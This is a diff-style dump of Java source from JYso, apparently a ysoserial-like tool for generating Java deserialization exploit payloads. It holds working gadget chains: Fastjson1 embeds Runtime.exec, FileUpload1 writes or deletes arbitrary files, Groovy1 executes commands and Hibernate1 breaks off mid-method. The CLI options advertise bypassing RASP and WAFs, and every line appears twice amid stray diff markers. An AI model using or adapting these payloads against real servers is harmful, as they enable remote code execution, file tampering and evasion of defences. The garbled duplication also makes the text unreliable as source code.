options.addOption("o", "obscure", false, "Using reflection to bypass RASP");
|
||||||
options.addOption("i", "inherit", false, "Make payload inherit AbstractTranslet or not (Lower JDK like 1.6 should inherit)");
|
options.addOption("i", "inherit", false, "Make payload inherit AbstractTranslet or not (Lower JDK like 1.6 should inherit)");
|
||||||
options.addOption("rh", "rhino", false, "ScriptEngineManager Using Rhino Engine to eval JS");
|
options.addOption("rh", "rhino", false, "ScriptEngineManager Using Rhino Engine to eval JS");
|
||||||
options.addOption("ncs", "no-com-sun", false, "Force Using org.apache.XXX.TemplatesImpl instead of com.sun.org.apache.XXX.TemplatesImpl");
|
options.addOption("ncs", "no-com-sun", false, "Force Using org.apache.XXX.TemplatesImpl instead of com.sun.org.apache.XXX.TemplatesImpl");
|
||||||
options.addOption("mcl", "mozilla-class-loader", false, "Using org.mozilla.javascript.DefiningClassLoader in TransformerUtil");
|
options.addOption("mcl", "mozilla-class-loader", false, "Using org.mozilla.javascript.DefiningClassLoader in TransformerUtil");
|
||||||
options.addOption("dcfp", "define-class-from-parameter", true, "Customize parameter name when using DefineClassFromParameter");
|
options.addOption("dcfp", "define-class-from-parameter", true, "Customize parameter name when using DefineClassFromParameter");
|
||||||
options.addOption("utf", "utf8-Overlong-Encoding", false, "UTF-8 Overlong Encoding Bypass waf");
|
options.addOption("utf", "utf8-Overlong-Encoding", false, "UTF-8 Overlong Encoding Bypass waf");
|
||||||
options.addOption("b64", "base64", false, "base64 encoding");
|
options.addOption("b64", "base64", false, "base64 encoding");
|
||||||
return options;
|
return options;
|
||||||
}
|
}
|
||||||
|
|
||||||
private static void printUsage(Options options) {
|
private static void printUsage(Options options) {
|
||||||
logo();
|
logo();
|
||||||
System.err.println("[root]#~ Usage: java -jar JYso-[version].jar -y -g [payload] -p [command] [options]");
|
System.err.println("[root]#~ Usage: java -jar JYso-[version].jar -y -g [payload] -p [command] [options]");
|
||||||
System.err.println("[root]#~ Available payload types:");
|
System.err.println("[root]#~ Available payload types:");
|
||||||
|
|
||||||
final List<Class<? extends ObjectPayload<?>>> payloadClasses =
|
final List<Class<? extends ObjectPayload<?>>> payloadClasses =
|
||||||
new ArrayList<>(ObjectPayload.Utils.getPayloadClasses());
|
new ArrayList<>(ObjectPayload.Utils.getPayloadClasses());
|
||||||
payloadClasses.sort(new StringUtil.ToStringComparator()); // alphabetize
|
payloadClasses.sort(new StringUtil.ToStringComparator()); // alphabetize
|
||||||
|
|
||||||
final List<String[]> rows = new LinkedList<>();
|
final List<String[]> rows = new LinkedList<>();
|
||||||
rows.add(new String[]{"Payload", "Authors", "Dependencies"});
|
rows.add(new String[]{"Payload", "Authors", "Dependencies"});
|
||||||
rows.add(new String[]{"-------", "-------", "------------"});
|
rows.add(new String[]{"-------", "-------", "------------"});
|
||||||
for (Class<? extends ObjectPayload<?>> payloadClass : payloadClasses) {
|
for (Class<? extends ObjectPayload<?>> payloadClass : payloadClasses) {
|
||||||
rows.add(new String[]{
|
rows.add(new String[]{
|
||||||
payloadClass.getSimpleName(),
|
payloadClass.getSimpleName(),
|
||||||
StringUtil.join(Arrays.asList(Authors.Utils.getAuthors(payloadClass)), ", ", "@", ""),
|
StringUtil.join(Arrays.asList(Authors.Utils.getAuthors(payloadClass)), ", ", "@", ""),
|
||||||
StringUtil.join(Arrays.asList(Dependencies.Utils.getDependenciesSimple(payloadClass)), ", ", "", "")
|
StringUtil.join(Arrays.asList(Dependencies.Utils.getDependenciesSimple(payloadClass)), ", ", "", "")
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
final List<String> lines = StringUtil.formatTable(rows);
|
final List<String> lines = StringUtil.formatTable(rows);
|
||||||
|
|
||||||
for (String line : lines) {
|
for (String line : lines) {
|
||||||
System.err.println(" " + line);
|
System.err.println(" " + line);
|
||||||
}
|
}
|
||||||
|
|
||||||
System.err.println("\r\n");
|
System.err.println("\r\n");
|
||||||
HelpFormatter helpFormatter = new HelpFormatter();
|
HelpFormatter helpFormatter = new HelpFormatter();
|
||||||
helpFormatter.setWidth(Math.min(200, jline.Terminal.getTerminal().getTerminalWidth()));
|
helpFormatter.setWidth(Math.min(200, jline.Terminal.getTerminal().getTerminalWidth()));
|
||||||
helpFormatter.printHelp("JYso-[version].jar", options, true);
|
helpFormatter.printHelp("JYso-[version].jar", options, true);
|
||||||
|
|
||||||
System.err.println("\r\n");
|
System.err.println("\r\n");
|
||||||
System.err.println("Recommended Usage: -y -g [payload] -p '[command]' -dt 1 -dl 50000 -o -i -f evil.ser");
|
System.err.println("Recommended Usage: -y -g [payload] -p '[command]' -dt 1 -dl 50000 -o -i -f evil.ser");
|
||||||
System.err.println("If you want your payload being extremely short,you could just use:");
|
System.err.println("If you want your payload being extremely short,you could just use:");
|
||||||
System.err.println("java -jar JYso-[version].jar -y -g [payload] -p '[command]' -i -f evil.ser");
|
System.err.println("java -jar JYso-[version].jar -y -g [payload] -p '[command]' -i -f evil.ser");
|
||||||
System.exit(0);
|
System.exit(0);
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,45 +1,45 @@
|
|||||||
package com.qi4l.JYso.gadgets;
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
import com.alibaba.fastjson.JSONArray;
|
import com.alibaba.fastjson.JSONArray;
|
||||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||||
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
|
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
|
||||||
import javassist.ClassPool;
|
import javassist.ClassPool;
|
||||||
import javassist.CtClass;
|
import javassist.CtClass;
|
||||||
import javassist.CtConstructor;
|
import javassist.CtConstructor;
|
||||||
|
|
||||||
import javax.management.BadAttributeValueExpException;
|
import javax.management.BadAttributeValueExpException;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.util.HashMap;
|
import java.util.HashMap;
|
||||||
|
|
||||||
|
|
||||||
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
||||||
public class Fastjson1 implements ObjectPayload<Object> {
|
public class Fastjson1 implements ObjectPayload<Object> {
|
||||||
@Override
|
@Override
|
||||||
public Object getObject(String command) throws Exception {
|
public Object getObject(String command) throws Exception {
|
||||||
ClassPool pool = ClassPool.getDefault();
|
ClassPool pool = ClassPool.getDefault();
|
||||||
CtClass clazz = pool.makeClass("a");
|
CtClass clazz = pool.makeClass("a");
|
||||||
CtClass superClass = pool.get(AbstractTranslet.class.getName());
|
CtClass superClass = pool.get(AbstractTranslet.class.getName());
|
||||||
clazz.setSuperclass(superClass);
|
clazz.setSuperclass(superClass);
|
||||||
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
|
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
|
||||||
constructor.setBody("Runtime.getRuntime().exec(\"open -na Calculator\");");
|
constructor.setBody("Runtime.getRuntime().exec(\"open -na Calculator\");");
|
||||||
clazz.addConstructor(constructor);
|
clazz.addConstructor(constructor);
|
||||||
Object templates = Gadgets.createTemplatesImpl(command);
|
Object templates = Gadgets.createTemplatesImpl(command);
|
||||||
|
|
||||||
return getFastjsonSink(templates);
|
return getFastjsonSink(templates);
|
||||||
}
|
}
|
||||||
|
|
||||||
static Object getFastjsonSink(Object templates) throws Exception {
|
static Object getFastjsonSink(Object templates) throws Exception {
|
||||||
JSONArray jsonArray = new JSONArray();
|
JSONArray jsonArray = new JSONArray();
|
||||||
jsonArray.add(templates);
|
jsonArray.add(templates);
|
||||||
|
|
||||||
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
|
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
|
||||||
Field valfield = val.getClass().getDeclaredField("val");
|
Field valfield = val.getClass().getDeclaredField("val");
|
||||||
valfield.setAccessible(true);
|
valfield.setAccessible(true);
|
||||||
valfield.set(val, jsonArray);
|
valfield.set(val, jsonArray);
|
||||||
|
|
||||||
HashMap hashMap = new HashMap();
|
HashMap hashMap = new HashMap();
|
||||||
hashMap.put(templates, val);
|
hashMap.put(templates, val);
|
||||||
|
|
||||||
return hashMap;
|
return hashMap;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,70 +1,70 @@
|
|||||||
package com.qi4l.JYso.gadgets;
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
import org.apache.commons.codec.binary.Base64;
|
import org.apache.commons.codec.binary.Base64;
|
||||||
import org.apache.commons.fileupload.disk.DiskFileItem;
|
import org.apache.commons.fileupload.disk.DiskFileItem;
|
||||||
import org.apache.commons.io.output.DeferredFileOutputStream;
|
import org.apache.commons.io.output.DeferredFileOutputStream;
|
||||||
import org.apache.commons.io.output.ThresholdingOutputStream;
|
import org.apache.commons.io.output.ThresholdingOutputStream;
|
||||||
|
|
||||||
import java.io.File;
|
import java.io.File;
|
||||||
import java.io.OutputStream;
|
import java.io.OutputStream;
|
||||||
import java.nio.charset.StandardCharsets;
|
import java.nio.charset.StandardCharsets;
|
||||||
import java.util.Arrays;
|
import java.util.Arrays;
|
||||||
|
|
||||||
@SuppressWarnings({"unused"})
|
@SuppressWarnings({"unused"})
|
||||||
public class FileUpload1 implements ReleaseableObjectPayload<DiskFileItem> {
|
public class FileUpload1 implements ReleaseableObjectPayload<DiskFileItem> {
|
||||||
private static DiskFileItem copyAndDelete(String copyAndDelete, String copyTo) throws Exception {
|
private static DiskFileItem copyAndDelete(String copyAndDelete, String copyTo) throws Exception {
|
||||||
return makePayload(0, copyTo, copyAndDelete, new byte[1]);
|
return makePayload(0, copyTo, copyAndDelete, new byte[1]);
|
||||||
}
|
}
|
||||||
|
|
||||||
// writes data to a random filename (update_<per JVM random UUID>_<COUNTER>.tmp)
|
// writes data to a random filename (update_<per JVM random UUID>_<COUNTER>.tmp)
|
||||||
private static DiskFileItem write(String dir, byte[] data) throws Exception {
|
private static DiskFileItem write(String dir, byte[] data) throws Exception {
|
||||||
return makePayload(data.length + 1, dir, dir + "/whatever", data);
|
return makePayload(data.length + 1, dir, dir + "/whatever", data);
|
||||||
}
|
}
|
||||||
|
|
||||||
// writes data to an arbitrary file
|
// writes data to an arbitrary file
|
||||||
private static DiskFileItem writePre131(String file, byte[] data) throws Exception {
|
private static DiskFileItem writePre131(String file, byte[] data) throws Exception {
|
||||||
return makePayload(data.length + 1, file + "\0", file, data);
|
return makePayload(data.length + 1, file + "\0", file, data);
|
||||||
}
|
}
|
||||||
|
|
||||||
public static DiskFileItem makePayload(int thresh, String repoPath, String filePath, byte[] data) throws Exception {
|
public static DiskFileItem makePayload(int thresh, String repoPath, String filePath, byte[] data) throws Exception {
|
||||||
// if thresh < written length, delete outputFile after copying to repository temp file
|
// if thresh < written length, delete outputFile after copying to repository temp file
|
||||||
// otherwise write the contents to repository temp file
|
// otherwise write the contents to repository temp file
|
||||||
File repository = new File(repoPath);
|
File repository = new File(repoPath);
|
||||||
DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000, repository);
|
DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000, repository);
|
||||||
File outputFile = new File(filePath);
|
File outputFile = new File(filePath);
|
||||||
DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile);
|
DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile);
|
||||||
OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream");
|
OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream");
|
||||||
os.write(data);
|
os.write(data);
|
||||||
Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length);
|
Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length);
|
||||||
Reflections.setFieldValue(diskFileItem, "dfos", dfos);
|
Reflections.setFieldValue(diskFileItem, "dfos", dfos);
|
||||||
Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0);
|
Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0);
|
||||||
return diskFileItem;
|
return diskFileItem;
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public DiskFileItem getObject(String command) throws Exception {
|
public DiskFileItem getObject(String command) throws Exception {
|
||||||
|
|
||||||
String[] parts = command.split(";");
|
String[] parts = command.split(";");
|
||||||
|
|
||||||
if (parts.length == 3 && "copyAndDelete".equals(parts[0])) {
|
if (parts.length == 3 && "copyAndDelete".equals(parts[0])) {
|
||||||
return copyAndDelete(parts[1], parts[2]);
|
return copyAndDelete(parts[1], parts[2]);
|
||||||
} else if (parts.length == 3 && "write".equals(parts[0])) {
|
} else if (parts.length == 3 && "write".equals(parts[0])) {
|
||||||
return write(parts[1], parts[2].getBytes(StandardCharsets.US_ASCII));
|
return write(parts[1], parts[2].getBytes(StandardCharsets.US_ASCII));
|
||||||
} else if (parts.length == 3 && "writeB64".equals(parts[0])) {
|
} else if (parts.length == 3 && "writeB64".equals(parts[0])) {
|
||||||
return write(parts[1], Base64.decodeBase64(parts[2]));
|
return write(parts[1], Base64.decodeBase64(parts[2]));
|
||||||
} else if (parts.length == 3 && "writeOld".equals(parts[0])) {
|
} else if (parts.length == 3 && "writeOld".equals(parts[0])) {
|
||||||
return writePre131(parts[1], parts[2].getBytes(StandardCharsets.US_ASCII));
|
return writePre131(parts[1], parts[2].getBytes(StandardCharsets.US_ASCII));
|
||||||
} else if (parts.length == 3 && "writeOldB64".equals(parts[0])) {
|
} else if (parts.length == 3 && "writeOldB64".equals(parts[0])) {
|
||||||
return writePre131(parts[1], Base64.decodeBase64(parts[2]));
|
return writePre131(parts[1], Base64.decodeBase64(parts[2]));
|
||||||
} else {
|
} else {
|
||||||
throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(parts));
|
throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(parts));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
public void release(Object obj) throws Exception {
|
public void release(Object obj) throws Exception {
|
||||||
// otherwise the finalizer deletes the file
|
// otherwise the finalizer deletes the file
|
||||||
DeferredFileOutputStream dfos = new DeferredFileOutputStream(0, null);
|
DeferredFileOutputStream dfos = new DeferredFileOutputStream(0, null);
|
||||||
Reflections.setFieldValue(obj, "dfos", dfos);
|
Reflections.setFieldValue(obj, "dfos", dfos);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,26 +1,26 @@
|
|||||||
package com.qi4l.JYso.gadgets;
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||||
import org.codehaus.groovy.runtime.ConvertedClosure;
|
import org.codehaus.groovy.runtime.ConvertedClosure;
|
||||||
import org.codehaus.groovy.runtime.MethodClosure;
|
import org.codehaus.groovy.runtime.MethodClosure;
|
||||||
|
|
||||||
import java.lang.reflect.InvocationHandler;
|
import java.lang.reflect.InvocationHandler;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
|
|
||||||
import static com.qi4l.JYso.gadgets.utils.Utils.createProxy;
|
import static com.qi4l.JYso.gadgets.utils.Utils.createProxy;
|
||||||
|
|
||||||
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
||||||
@Dependencies({"org.codehaus.groovy:groovy:2.3.9"})
|
@Dependencies({"org.codehaus.groovy:groovy:2.3.9"})
|
||||||
@Authors({Authors.FROHOFF})
|
@Authors({Authors.FROHOFF})
|
||||||
public class Groovy1 implements ObjectPayload<InvocationHandler> {
|
public class Groovy1 implements ObjectPayload<InvocationHandler> {
|
||||||
|
|
||||||
public InvocationHandler getObject(final String command) throws Exception {
|
public InvocationHandler getObject(final String command) throws Exception {
|
||||||
final ConvertedClosure closure = new ConvertedClosure(new MethodClosure(command, "execute"), "entrySet");
|
final ConvertedClosure closure = new ConvertedClosure(new MethodClosure(command, "execute"), "entrySet");
|
||||||
|
|
||||||
final Map map = createProxy(closure, Map.class);
|
final Map map = createProxy(closure, Map.class);
|
||||||
|
|
||||||
return Gadgets.createMemoizedInvocationHandler(map);
|
return Gadgets.createMemoizedInvocationHandler(map);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1,175 +1,175 @@
|
|||||||
package com.qi4l.JYso.gadgets;
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
import com.qi4l.JYso.gadgets.utils.DynamicDependencies;
|
import com.qi4l.JYso.gadgets.utils.DynamicDependencies;
|
||||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||||
import com.qi4l.JYso.gadgets.utils.JavaVersion;
|
import com.qi4l.JYso.gadgets.utils.JavaVersion;
|
||||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
import org.hibernate.EntityMode;
|
import org.hibernate.EntityMode;
|
||||||
import org.hibernate.engine.spi.TypedValue;
|
import org.hibernate.engine.spi.TypedValue;
|
||||||
import org.hibernate.tuple.component.AbstractComponentTuplizer;
|
import org.hibernate.tuple.component.AbstractComponentTuplizer;
|
||||||
import org.hibernate.tuple.component.PojoComponentTuplizer;
|
import org.hibernate.tuple.component.PojoComponentTuplizer;
|
||||||
import org.hibernate.type.AbstractType;
|
import org.hibernate.type.AbstractType;
|
||||||
import org.hibernate.type.ComponentType;
|
import org.hibernate.type.ComponentType;
|
||||||
import org.hibernate.type.Type;
|
import org.hibernate.type.Type;
|
||||||
|
|
||||||
import java.lang.reflect.Array;
|
import java.lang.reflect.Array;
|
||||||
import java.lang.reflect.Constructor;
|
import java.lang.reflect.Constructor;
|
||||||
import java.lang.reflect.InvocationTargetException;
|
import java.lang.reflect.InvocationTargetException;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.HashMap;
|
import java.util.HashMap;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
|
|
||||||
import static com.qi4l.JYso.gadgets.utils.Utils.makeMap;
|
import static com.qi4l.JYso.gadgets.utils.Utils.makeMap;
|
||||||
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* org.hibernate.property.access.spi.GetterMethodImpl.get()
|
* org.hibernate.property.access.spi.GetterMethodImpl.get()
|
||||||
* org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue()
|
* org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue()
|
||||||
* org.hibernate.type.ComponentType.getPropertyValue(C)
|
* org.hibernate.type.ComponentType.getPropertyValue(C)
|
||||||
* org.hibernate.type.ComponentType.getHashCode()
|
* org.hibernate.type.ComponentType.getHashCode()
|
||||||
* org.hibernate.engine.spi.TypedValue$1.initialize()
|
* org.hibernate.engine.spi.TypedValue$1.initialize()
|
||||||
* org.hibernate.engine.spi.TypedValue$1.initialize()
|
* org.hibernate.engine.spi.TypedValue$1.initialize()
|
||||||
* org.hibernate.internal.util.ValueHolder.getValue()
|
* org.hibernate.internal.util.ValueHolder.getValue()
|
||||||
* org.hibernate.engine.spi.TypedValue.hashCode()
|
* org.hibernate.engine.spi.TypedValue.hashCode()
|
||||||
* <p>
|
* <p>
|
||||||
* Requires:
|
* Requires:
|
||||||
* - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only)
|
* - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only)
|
||||||
*
|
*
|
||||||
* @author mbechler
|
* @author mbechler
|
||||||
*/
|
*/
|
||||||
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
||||||
@Authors({Authors.MBECHLER})
|
@Authors({Authors.MBECHLER})
|
||||||
public class Hibernate1 implements ObjectPayload<Object>, DynamicDependencies {
|
public class Hibernate1 implements ObjectPayload<Object>, DynamicDependencies {
|
||||||
|
|
||||||
public static boolean isApplicableJavaVersion() {
|
public static boolean isApplicableJavaVersion() {
|
||||||
return JavaVersion.isAtLeast(7);
|
return JavaVersion.isAtLeast(7);
|
||||||
}
|
}
|
||||||
|
|
||||||
public static String[] getDependencies() {
|
public static String[] getDependencies() {
|
||||||
if (System.getProperty("hibernate5") != null) {
|
if (System.getProperty("hibernate5") != null) {
|
||||||
return new String[]{
|
return new String[]{
|
||||||
"org.hibernate:hibernate-core:5.0.7.Final", "aopalliance:aopalliance:1.0", "org.jboss.logging:jboss-logging:3.3.0.Final",
|
"org.hibernate:hibernate-core:5.0.7.Final", "aopalliance:aopalliance:1.0", "org.jboss.logging:jboss-logging:3.3.0.Final",
|
||||||
"javax.transaction:javax.transaction-api:1.2"
|
"javax.transaction:javax.transaction-api:1.2"
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
return new String[]{
|
return new String[]{
|
||||||
"org.hibernate:hibernate-core:4.3.11.Final", "aopalliance:aopalliance:1.0", "org.jboss.logging:jboss-logging:3.3.0.Final",
|
"org.hibernate:hibernate-core:4.3.11.Final", "aopalliance:aopalliance:1.0", "org.jboss.logging:jboss-logging:3.3.0.Final",
|
||||||
"javax.transaction:javax.transaction-api:1.2", "dom4j:dom4j:1.6.1"
|
"javax.transaction:javax.transaction-api:1.2", "dom4j:dom4j:1.6.1"
|
||||||
};
|
};
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
public static Object makeGetter(Class<?> tplClass, String method) throws NoSuchMethodException, SecurityException, InstantiationException,
|
public static Object makeGetter(Class<?> tplClass, String method) throws NoSuchMethodException, SecurityException, InstantiationException,
|
||||||
IllegalAccessException, IllegalArgumentException, InvocationTargetException, ClassNotFoundException {
|
IllegalAccessException, IllegalArgumentException, InvocationTargetException, ClassNotFoundException {
|
||||||
if (System.getProperty("hibernate5") != null) {
|
if (System.getProperty("hibernate5") != null) {
|
||||||
return makeHibernate5Getter(tplClass, method);
|
return makeHibernate5Getter(tplClass, method);
|
||||||
}
|
}
|
||||||
return makeHibernate4Getter(tplClass, method);
|
return makeHibernate4Getter(tplClass, method);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
public static Object makeHibernate4Getter(Class<?> tplClass, String method) throws ClassNotFoundException, NoSuchMethodException,
|
public static Object makeHibernate4Getter(Class<?> tplClass, String method) throws ClassNotFoundException, NoSuchMethodException,
|
||||||
SecurityException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException {
|
SecurityException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException {
|
||||||
Class<?> getterIf = Class.forName("org.hibernate.property.Getter");
|
Class<?> getterIf = Class.forName("org.hibernate.property.Getter");
|
||||||
Class<?> basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");
|
Class<?> basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");
|
||||||
Constructor<?> bgCon = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);
|
Constructor<?> bgCon = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);
|
||||||
Reflections.setAccessible(bgCon);
|
Reflections.setAccessible(bgCon);
|
||||||
|
|
||||||
if (!method.startsWith("get")) {
|
if (!method.startsWith("get")) {
|
||||||
throw new IllegalArgumentException("Hibernate4 can only call getters");
|
throw new IllegalArgumentException("Hibernate4 can only call getters");
|
||||||
}
|
}
|
||||||
|
|
||||||
String propName = Character.toLowerCase(method.charAt(3)) + method.substring(4);
|
String propName = Character.toLowerCase(method.charAt(3)) + method.substring(4);
|
||||||
|
|
||||||
Object g = bgCon.newInstance(tplClass, tplClass.getDeclaredMethod(method), propName);
|
Object g = bgCon.newInstance(tplClass, tplClass.getDeclaredMethod(method), propName);
|
||||||
Object arr = Array.newInstance(getterIf, 1);
|
Object arr = Array.newInstance(getterIf, 1);
|
||||||
Array.set(arr, 0, g);
|
Array.set(arr, 0, g);
|
||||||
return arr;
|
return arr;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
public static Object makeHibernate5Getter(Class<?> tplClass, String method) throws NoSuchMethodException, SecurityException,
|
public static Object makeHibernate5Getter(Class<?> tplClass, String method) throws NoSuchMethodException, SecurityException,
|
||||||
ClassNotFoundException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException {
|
ClassNotFoundException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException {
|
||||||
Class<?> getterIf = Class.forName("org.hibernate.property.access.spi.Getter");
|
Class<?> getterIf = Class.forName("org.hibernate.property.access.spi.Getter");
|
||||||
Class<?> basicGetter = Class.forName("org.hibernate.property.access.spi.GetterMethodImpl");
|
Class<?> basicGetter = Class.forName("org.hibernate.property.access.spi.GetterMethodImpl");
|
||||||
Constructor<?> bgCon = basicGetter.getConstructor(Class.class, String.class, Method.class);
|
Constructor<?> bgCon = basicGetter.getConstructor(Class.class, String.class, Method.class);
|
||||||
Object g = bgCon.newInstance(tplClass, "test", tplClass.getDeclaredMethod(method));
|
Object g = bgCon.newInstance(tplClass, "test", tplClass.getDeclaredMethod(method));
|
||||||
Object arr = Array.newInstance(getterIf, 1);
|
Object arr = Array.newInstance(getterIf, 1);
|
||||||
Array.set(arr, 0, g);
|
Array.set(arr, 0, g);
|
||||||
return arr;
|
return arr;
|
||||||
}
|
}
|
||||||
|
|
||||||
static Object makeCaller(Object tpl, Object getters) throws
|
static Object makeCaller(Object tpl, Object getters) throws
|
||||||
Exception {
|
Exception {
|
||||||
if (System.getProperty("hibernate3") != null) {
|
if (System.getProperty("hibernate3") != null) {
|
||||||
return makeHibernate3Caller(tpl, getters);
|
return makeHibernate3Caller(tpl, getters);
|
||||||
}
|
}
|
||||||
return makeHibernate45Caller(tpl, getters);
|
return makeHibernate45Caller(tpl, getters);
|
||||||
}
|
}
|
||||||
|
|
||||||
static Object makeHibernate45Caller(Object tpl, Object getters) throws
|
static Object makeHibernate45Caller(Object tpl, Object getters) throws
|
||||||
Exception {
|
Exception {
|
||||||
PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class);
|
PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class);
|
||||||
Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters);
|
Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters);
|
||||||
|
|
||||||
ComponentType t = Reflections.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]);
|
ComponentType t = Reflections.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]);
|
||||||
Reflections.setFieldValue(t, "componentTuplizer", tup);
|
Reflections.setFieldValue(t, "componentTuplizer", tup);
|
||||||
Reflections.setFieldValue(t, "propertySpan", 1);
|
Reflections.setFieldValue(t, "propertySpan", 1);
|
||||||
Reflections.setFieldValue(t, "propertyTypes", new Type[]{
|
Reflections.setFieldValue(t, "propertyTypes", new Type[]{
|
||||||
t
|
t
|
||||||
});
|
});
|
||||||
|
|
||||||
TypedValue v1 = new TypedValue(t, null);
|
TypedValue v1 = new TypedValue(t, null);
|
||||||
Reflections.setFieldValue(v1, "value", tpl);
|
Reflections.setFieldValue(v1, "value", tpl);
|
||||||
Reflections.setFieldValue(v1, "type", t);
|
Reflections.setFieldValue(v1, "type", t);
|
||||||
|
|
||||||
TypedValue v2 = new TypedValue(t, null);
|
TypedValue v2 = new TypedValue(t, null);
|
||||||
Reflections.setFieldValue(v2, "value", tpl);
|
Reflections.setFieldValue(v2, "value", tpl);
|
||||||
Reflections.setFieldValue(v2, "type", t);
|
Reflections.setFieldValue(v2, "type", t);
|
||||||
|
|
||||||
return makeMap(v1, v2);
|
return makeMap(v1, v2);
|
||||||
}
|
}
|
||||||
|
|
||||||
static Object makeHibernate3Caller(Object tpl, Object getters) throws
|
static Object makeHibernate3Caller(Object tpl, Object getters) throws
|
||||||
Exception {
|
Exception {
|
||||||
// Load at runtime to avoid dependency conflicts
|
// Load at runtime to avoid dependency conflicts
|
||||||
Class entityEntityModeToTuplizerMappingClass = Class.forName("org.hibernate.tuple.entity.EntityEntityModeToTuplizerMapping");
|
Class entityEntityModeToTuplizerMappingClass = Class.forName("org.hibernate.tuple.entity.EntityEntityModeToTuplizerMapping");
|
||||||
Class entityModeToTuplizerMappingClass = Class.forName("org.hibernate.tuple.EntityModeToTuplizerMapping");
|
Class entityModeToTuplizerMappingClass = Class.forName("org.hibernate.tuple.EntityModeToTuplizerMapping");
|
||||||
Class typedValueClass = Class.forName("org.hibernate.engine.TypedValue");
|
Class typedValueClass = Class.forName("org.hibernate.engine.TypedValue");
|
||||||
|
|
||||||
PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class);
|
PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class);
|
||||||
Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters);
|
Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters);
|
||||||
